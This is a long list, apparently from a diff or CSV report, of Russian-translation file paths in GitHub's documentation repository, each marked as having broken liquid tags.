+translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/requirements-for-listing-an-app.md,broken liquid tags +translations/ru-RU/content/developers/github-marketplace/creating-apps-for-github-marketplace/security-best-practices-for-apps.md,broken liquid tags +translations/ru-RU/content/developers/github-marketplace/listing-an-app-on-github-marketplace/writing-a-listing-description-for-your-app.md,broken liquid tags +translations/ru-RU/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md,broken liquid tags +translations/ru-RU/content/developers/overview/about-githubs-apis.md,broken liquid tags +translations/ru-RU/content/developers/overview/managing-deploy-keys.md,broken liquid tags +translations/ru-RU/content/developers/overview/secret-scanning-partner-program.md,broken liquid tags +translations/ru-RU/content/developers/webhooks-and-events/webhooks/creating-webhooks.md,broken liquid tags +translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions.md,broken liquid tags +translations/ru-RU/content/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion.md,broken liquid tags +translations/ru-RU/content/discussions/guides/finding-your-discussions.md,broken liquid tags +translations/ru-RU/content/discussions/managing-discussions-for-your-community/managing-categories-for-discussions.md,broken liquid tags +translations/ru-RU/content/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/glossary.md,broken liquid tags +translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md,broken liquid tags +translations/ru-RU/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide.md,broken liquid tags +translations/ru-RU/content/education/manage-coursework-with-github-classroom/learn-with-github-classroom/view-autograding-results.md,broken liquid tags +translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/connect-a-learning-management-system-course-to-a-classroom.md,broken liquid tags +translations/ru-RU/content/education/manage-coursework-with-github-classroom/teach-with-github-classroom/manage-classrooms.md,broken liquid tags +translations/ru-RU/content/get-started/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md,broken liquid tags +translations/ru-RU/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md,broken liquid tags +translations/ru-RU/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md,broken liquid tags +translations/ru-RU/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md,broken liquid tags +translations/ru-RU/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md,broken liquid tags +translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md,broken liquid tags +translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md,broken liquid tags +translations/ru-RU/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md,broken liquid tags +translations/ru-RU/content/get-started/learning-about-github/about-github-advanced-security.md,broken liquid tags +translations/ru-RU/content/get-started/learning-about-github/access-permissions-on-github.md,broken liquid tags +translations/ru-RU/content/get-started/learning-about-github/types-of-github-accounts.md,broken liquid tags +translations/ru-RU/content/get-started/onboarding/getting-started-with-github-ae.md,broken liquid tags +translations/ru-RU/content/get-started/onboarding/getting-started-with-github-enterprise-server.md,broken liquid tags +translations/ru-RU/content/get-started/onboarding/getting-started-with-github-team.md,broken liquid tags +translations/ru-RU/content/get-started/onboarding/getting-started-with-your-github-account.md,broken liquid tags +translations/ru-RU/content/get-started/quickstart/create-a-repo.md,broken liquid tags +translations/ru-RU/content/get-started/quickstart/git-and-github-learning-resources.md,broken liquid tags +translations/ru-RU/content/get-started/quickstart/github-glossary.md,broken liquid tags +translations/ru-RU/content/get-started/signing-up-for-github/verifying-your-email-address.md,broken liquid tags +translations/ru-RU/content/get-started/using-git/about-git-rebase.md,broken liquid tags +translations/ru-RU/content/get-started/using-git/splitting-a-subfolder-out-into-a-new-repository.md,broken liquid tags +translations/ru-RU/content/get-started/using-github/github-mobile.md,broken liquid tags +translations/ru-RU/content/get-started/using-github/keyboard-shortcuts.md,broken liquid tags +translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/about-writing-and-formatting-on-github.md,broken liquid tags +translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax.md,broken liquid tags +translations/ru-RU/content/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github.md,broken liquid tags +translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/attaching-files.md,broken liquid tags +translations/ru-RU/content/get-started/writing-on-github/working-with-advanced-formatting/writing-mathematical-expressions.md,broken liquid tags +translations/ru-RU/content/github-cli/github-cli/quickstart.md,broken liquid tags +translations/ru-RU/content/graphql/guides/forming-calls-with-graphql.md,broken liquid tags +translations/ru-RU/content/graphql/guides/introduction-to-graphql.md,broken liquid tags +translations/ru-RU/content/graphql/guides/migrating-from-rest-to-graphql.md,broken liquid tags +translations/ru-RU/content/graphql/overview/about-the-graphql-api.md,broken liquid tags +translations/ru-RU/content/graphql/reference/enums.md,broken liquid tags +translations/ru-RU/content/graphql/reference/input-objects.md,broken liquid tags +translations/ru-RU/content/graphql/reference/unions.md,broken liquid tags +translations/ru-RU/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md,broken liquid tags +translations/ru-RU/content/issues/planning-and-tracking-with-projects/automating-your-project/archiving-items-automatically.md,broken liquid tags +translations/ru-RU/content/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view.md,broken liquid tags +translations/ru-RU/content/issues/planning-and-tracking-with-projects/managing-items-in-your-project/adding-items-to-your-project.md,broken liquid tags +translations/ru-RU/content/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue.md,broken liquid tags +translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-organizations.md,broken liquid tags +translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md,broken liquid tags +translations/ru-RU/content/organizations/collaborating-with-groups-in-organizations/customizing-your-organizations-profile.md,broken liquid tags +translations/ru-RU/content/organizations/collaborating-with-your-team/pinning-a-team-discussion.md,broken liquid tags +translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md,broken liquid tags +translations/ru-RU/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-git-access-to-your-organizations-repositories/about-ssh-certificate-authorities.md,broken liquid tags +translations/ru-RU/content/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions.md,broken liquid tags +translations/ru-RU/content/organizations/managing-oauth-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/deleting-an-organization-account.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/disabling-project-boards-in-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/integrating-jira-with-your-organization-project-board.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/managing-default-labels-for-repositories-in-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/index.md,broken liquid tags +translations/ru-RU/content/organizations/managing-programmatic-access-to-your-organization/reviewing-your-organizations-installed-integrations.md,broken liquid tags +translations/ru-RU/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md,broken liquid tags +translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md,broken liquid tags +translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md,broken liquid tags +translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md,broken liquid tags +translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/removing-an-outside-collaborator-from-an-organization-repository.md,broken liquid tags +translations/ru-RU/content/organizations/managing-user-access-to-your-organizations-repositories/viewing-people-with-access-to-your-repository.md,broken liquid tags +translations/ru-RU/content/organizations/organizing-members-into-teams/about-teams.md,broken liquid tags +translations/ru-RU/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md,broken liquid tags +translations/ru-RU/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/about-permissions-for-github-packages.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/connecting-a-repository-to-a-package.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/deleting-and-restoring-a-package.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/installing-a-package.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/introduction-to-github-packages.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/publishing-a-package.md,broken liquid tags +translations/ru-RU/content/packages/learn-github-packages/viewing-packages.md,broken liquid tags +translations/ru-RU/content/packages/managing-github-packages-using-github-actions-workflows/publishing-and-installing-a-package-with-github-actions.md,broken liquid tags +translations/ru-RU/content/packages/working-with-a-github-packages-registry/migrating-to-the-container-registry-from-the-docker-registry.md,broken liquid tags +translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-apache-maven-registry.md,broken liquid tags +translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-container-registry.md,broken liquid tags +translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-docker-registry.md,broken liquid tags +translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-gradle-registry.md,broken liquid tags +translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md,broken liquid tags +translations/ru-RU/content/packages/working-with-a-github-packages-registry/working-with-the-rubygems-registry.md,broken liquid tags +translations/ru-RU/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md,broken liquid tags +translations/ru-RU/content/pages/getting-started-with-github-pages/about-github-pages.md,broken liquid tags +translations/ru-RU/content/pages/getting-started-with-github-pages/creating-a-github-pages-site.md,broken liquid tags +translations/ru-RU/content/pages/index.md,broken liquid tags +translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md,broken liquid tags +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md,broken liquid tags +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md,broken liquid tags +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/committing-changes-to-a-pull-request-branch-created-from-a-fork.md,broken liquid tags +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md,broken liquid tags +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch.md,broken liquid tags +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request.md,broken liquid tags +translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/working-with-forks/syncing-a-fork.md,broken liquid tags +translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md,broken liquid tags +translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md,broken liquid tags +translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md,broken liquid tags +translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md,broken liquid tags +translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md,broken liquid tags +translations/ru-RU/content/repositories/archiving-a-github-repository/archiving-repositories.md,broken liquid tags +translations/ru-RU/content/repositories/archiving-a-github-repository/backing-up-a-repository.md,broken liquid tags +translations/ru-RU/content/repositories/archiving-a-github-repository/referencing-and-citing-content.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/about-merge-methods-on-github.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-merging-for-pull-requests.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-rebasing-for-pull-requests.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/configuring-commit-squashing-for-pull-requests.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/index.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-auto-merge-for-pull-requests-in-your-repository.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-the-automatic-deletion-of-branches.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/managing-a-branch-protection-rule.md,broken liquid tags +translations/ru-RU/content/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/renaming-a-branch.md,broken liquid tags +translations/ru-RU/content/repositories/creating-and-managing-repositories/cloning-a-repository.md,broken liquid tags +translations/ru-RU/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md,broken liquid tags +translations/ru-RU/content/repositories/creating-and-managing-repositories/troubleshooting-cloning-errors.md,broken liquid tags +translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md,broken liquid tags +translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/licensing-a-repository.md,broken liquid tags +translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md,broken liquid tags +translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md,broken liquid tags +translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md,broken liquid tags +translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md,broken liquid tags +translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md,broken liquid tags +translations/ru-RU/content/repositories/releasing-projects-on-github/about-releases.md,broken liquid tags +translations/ru-RU/content/repositories/releasing-projects-on-github/comparing-releases.md,broken liquid tags +translations/ru-RU/content/repositories/releasing-projects-on-github/linking-to-releases.md,broken liquid tags +translations/ru-RU/content/repositories/releasing-projects-on-github/managing-releases-in-a-repository.md,broken liquid tags +translations/ru-RU/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md,broken liquid tags +translations/ru-RU/content/repositories/working-with-files/managing-files/navigating-files-with-the-new-code-view.md,broken liquid tags +translations/ru-RU/content/repositories/working-with-files/managing-large-files/about-large-files-on-github.md,broken liquid tags +translations/ru-RU/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md,broken liquid tags +translations/ru-RU/content/rest/activity/notifications.md,broken liquid tags +translations/ru-RU/content/rest/apps/oauth-applications.md,broken liquid tags +translations/ru-RU/content/rest/dependabot/index.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/admin-stats.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/announcement.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/audit-log.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/billing.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/global-webhooks.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/index.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/ldap.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/license.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/management-console.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/org-pre-receive-hooks.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/orgs.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/pre-receive-environments.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/pre-receive-hooks.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/repo-pre-receive-hooks.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/scim.md,broken liquid tags +translations/ru-RU/content/rest/enterprise-admin/users.md,broken liquid tags +translations/ru-RU/content/rest/gitignore.md,broken liquid tags +translations/ru-RU/content/rest/guides/getting-started-with-the-rest-api.md,broken liquid tags +translations/ru-RU/content/rest/guides/working-with-comments.md,broken liquid tags +translations/ru-RU/content/rest/migrations/source-imports.md,broken liquid tags +translations/ru-RU/content/rest/overview/endpoints-available-for-fine-grained-personal-access-tokens.md,broken liquid tags +translations/ru-RU/content/rest/overview/other-authentication-methods.md,broken liquid tags +translations/ru-RU/content/rest/overview/permissions-required-for-fine-grained-personal-access-tokens.md,broken liquid tags +translations/ru-RU/content/rest/overview/permissions-required-for-github-apps.md,broken liquid tags +translations/ru-RU/content/rest/overview/resources-in-the-rest-api.md,broken liquid tags +translations/ru-RU/content/rest/overview/troubleshooting.md,broken liquid tags +translations/ru-RU/content/rest/packages.md,broken liquid tags +translations/ru-RU/content/rest/projects/projects.md,broken liquid tags +translations/ru-RU/content/rest/quickstart.md,broken liquid tags +translations/ru-RU/content/rest/scim.md,broken liquid tags +translations/ru-RU/content/rest/teams/team-sync.md,broken liquid tags +translations/ru-RU/content/search-github/getting-started-with-searching-on-github/about-searching-on-github.md,broken liquid tags +translations/ru-RU/content/search-github/getting-started-with-searching-on-github/enabling-githubcom-repository-search-from-your-private-enterprise-environment.md,broken liquid tags +translations/ru-RU/content/search-github/searching-on-github/searching-for-repositories.md,broken liquid tags +translations/ru-RU/content/site-policy/github-terms/github-community-guidelines.md,broken liquid tags +translations/ru-RU/content/site-policy/github-terms/github-research-program-terms.md,broken liquid tags +translations/ru-RU/content/site-policy/other-site-policies/github-logo-policy.md,broken liquid tags +translations/ru-RU/content/site-policy/privacy-policies/github-subprocessors-and-cookies.md,broken liquid tags +translations/ru-RU/content/site-policy/privacy-policies/global-privacy-practices.md,broken liquid tags +translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md,broken liquid tags +translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md,broken liquid tags +translations/ru-RU/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md,broken liquid tags +translations/ru-RU/content/support/contacting-github-support/providing-data-to-github-support.md,broken liquid tags +translations/ru-RU/content/support/learning-about-github-support/about-github-premium-support.md,broken liquid tags +translations/ru-RU/data/glossaries/external.yml,broken liquid tags +translations/ru-RU/data/learning-tracks/actions.yml,broken liquid tags +translations/ru-RU/data/learning-tracks/admin.yml,broken liquid tags +translations/ru-RU/data/learning-tracks/code-security.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-3/0-rc1.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-3/0.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-3/1.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-4/0-rc1.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-4/0.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-4/1.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-4/2.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-5/0-rc1.yml,broken liquid tags +translations/ru-RU/data/release-notes/enterprise-server/3-6/0-rc1.yml,broken liquid tags +translations/ru-RU/data/reusables/accounts/create-personal-access-tokens.md,broken liquid tags +translations/ru-RU/data/reusables/actions/about-actions-for-enterprises.md,broken liquid tags +translations/ru-RU/data/reusables/actions/actions-do-not-trigger-workflows.md,broken liquid tags +translations/ru-RU/data/reusables/actions/actions-spending-limit-detailed.md,broken liquid tags +translations/ru-RU/data/reusables/actions/apply-configuration-and-enable.md,broken liquid tags +translations/ru-RU/data/reusables/actions/cache-default-size.md,broken liquid tags +translations/ru-RU/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md,broken liquid tags +translations/ru-RU/data/reusables/actions/changing-the-name-of-a-runner-group.md,broken liquid tags +translations/ru-RU/data/reusables/actions/create-runner-group.md,broken liquid tags +translations/ru-RU/data/reusables/actions/creating-a-runner-group-for-an-organization.md,broken liquid tags +translations/ru-RU/data/reusables/actions/disabling-github-actions.md,broken liquid tags +translations/ru-RU/data/reusables/actions/enterprise-common-prereqs.md,broken liquid tags +translations/ru-RU/data/reusables/actions/enterprise-http-proxy.md,broken liquid tags +translations/ru-RU/data/reusables/actions/enterprise-marketplace-actions.md,broken liquid tags +translations/ru-RU/data/reusables/actions/enterprise-postinstall-nextsteps.md,broken liquid tags +translations/ru-RU/data/reusables/actions/enterprise-storage-ha-backups.md,broken liquid tags +translations/ru-RU/data/reusables/actions/github-connect-resolution.md,broken liquid tags +translations/ru-RU/data/reusables/actions/hosted-runner-security.md,broken liquid tags +translations/ru-RU/data/reusables/actions/ip-allow-list-self-hosted-runners.md,broken liquid tags +translations/ru-RU/data/reusables/actions/onboarding-next-steps.md,broken liquid tags +translations/ru-RU/data/reusables/actions/ref_name-description.md,broken liquid tags +translations/ru-RU/data/reusables/actions/reusable-workflow-artifacts.md,broken liquid tags +translations/ru-RU/data/reusables/actions/reusable-workflow-calling-syntax.md,broken liquid tags +translations/ru-RU/data/reusables/actions/reusable-workflows.md,broken liquid tags +translations/ru-RU/data/reusables/actions/runner-groups-add-to-enterprise-first-steps.md,broken liquid tags +translations/ru-RU/data/reusables/actions/self-hosted-runner-add-to-enterprise.md,broken liquid tags +translations/ru-RU/data/reusables/actions/self-hosted-runner-management-permissions-required.md,broken liquid tags +translations/ru-RU/data/reusables/actions/self-hosted-runner-networking-to-dotcom.md,broken liquid tags +translations/ru-RU/data/reusables/actions/self-hosted-runner-ports-protocols.md,broken liquid tags +translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-general.md,broken liquid tags +translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-pages-custom-workflow.md,broken liquid tags +translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runner-groups.md,broken liquid tags +translations/ru-RU/data/reusables/actions/settings-ui/settings-actions-runners.md,broken liquid tags +translations/ru-RU/data/reusables/actions/upgrade-runners-before-upgrade-ghes.md,broken liquid tags +translations/ru-RU/data/reusables/actions/workflow-basic-example-and-explanation.md,broken liquid tags +translations/ru-RU/data/reusables/actions/workflow-dispatch-inputs.md,broken liquid tags +translations/ru-RU/data/reusables/actions/workflow-template-overview.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/about-committer-numbers-ghec-ghes.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/about-ghas-organization-policy.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/ghas-must-be-enabled.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/secret-scanning-add-custom-pattern-details.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/secret-scanning-create-custom-pattern.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-enterprise.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-org.md,broken liquid tags +translations/ru-RU/data/reusables/advanced-security/secret-scanning-push-protection-repo.md,broken liquid tags +translations/ru-RU/data/reusables/apps/general-apps-restrictions.md,broken liquid tags +translations/ru-RU/data/reusables/apps/ip-allow-list-only-apps.md,broken liquid tags +translations/ru-RU/data/reusables/apps/oauth-app-access-restrictions.md,broken liquid tags +translations/ru-RU/data/reusables/apps/user-to-server-rate-limits-ghec.md,broken liquid tags +translations/ru-RU/data/reusables/apps/user-to-server-rate-limits.md,broken liquid tags +translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_org_admins.md,broken liquid tags +translations/ru-RU/data/reusables/audit_log/audit_log_sidebar_for_site_admins.md,broken liquid tags +translations/ru-RU/data/reusables/branches/new-repo-default-branch.md,broken liquid tags +translations/ru-RU/data/reusables/classroom/about-autograding.md,broken liquid tags +translations/ru-RU/data/reusables/classroom/assignments-click-pencil.md,broken liquid tags +translations/ru-RU/data/reusables/classroom/assignments-guide-using-autograding.md,broken liquid tags +translations/ru-RU/data/reusables/classroom/assignments-type-a-title.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/alerts-found-in-generated-code.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/analyze-go.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/autobuild-add-build-steps.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/billing.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/codeql-context-for-actions-and-third-party-tools.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/codeql-languages-bullets.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/codeql-languages-keywords.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning-actions.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/enterprise-enable-code-scanning.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/licensing-note.md,broken liquid tags +translations/ru-RU/data/reusables/code-scanning/what-is-codeql-cli.md,broken liquid tags +translations/ru-RU/data/reusables/codespaces/codespaces-monthly-billing.md,broken liquid tags +translations/ru-RU/data/reusables/codespaces/customize-vcpus-and-ram.md,broken liquid tags +translations/ru-RU/data/reusables/codespaces/next-steps-adding-devcontainer.md,broken liquid tags +translations/ru-RU/data/reusables/codespaces/prebuilds-crossreference.md,broken liquid tags +translations/ru-RU/data/reusables/codespaces/secrets-on-start.md,broken liquid tags +translations/ru-RU/data/reusables/command_line/provide-an-access-token.md,broken liquid tags +translations/ru-RU/data/reusables/copilot/config-enable-copilot-in-neovim.md,broken liquid tags +translations/ru-RU/data/reusables/copilot/install-copilot-in-neovim.md,broken liquid tags +translations/ru-RU/data/reusables/dependabot/beta-security-and-version-updates.md,broken liquid tags +translations/ru-RU/data/reusables/dependabot/default-dependencies-allow-ignore.md,broken liquid tags +translations/ru-RU/data/reusables/dependabot/dependabot-updates-and-actions.md,broken liquid tags +translations/ru-RU/data/reusables/dependabot/enabling-disabling-dependency-graph-private-repo.md,broken liquid tags +translations/ru-RU/data/reusables/dependabot/supported-package-managers.md,broken liquid tags +translations/ru-RU/data/reusables/desktop/get-an-account.md,broken liquid tags +translations/ru-RU/data/reusables/discussions/enabling-or-disabling-github-discussions-for-your-organization.md,broken liquid tags +translations/ru-RU/data/reusables/discussions/navigate-to-repo-or-org.md,broken liquid tags +translations/ru-RU/data/reusables/discussions/starting-a-discussion.md,broken liquid tags +translations/ru-RU/data/reusables/dotcom_billing/actions-packages-report-download-org-account.md,broken liquid tags +translations/ru-RU/data/reusables/dotcom_billing/download_receipt.md,broken liquid tags +translations/ru-RU/data/reusables/dotcom_billing/view-all-subscriptions.md,broken liquid tags +translations/ru-RU/data/reusables/education/benefits-page.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/audit-log-tab.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/continue-verifying-domain.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-activity.md,broken liquid tags +translations/ru-RU/data/reusables/enterprise-accounts/emu-cap-validates.md,broken liquid tags 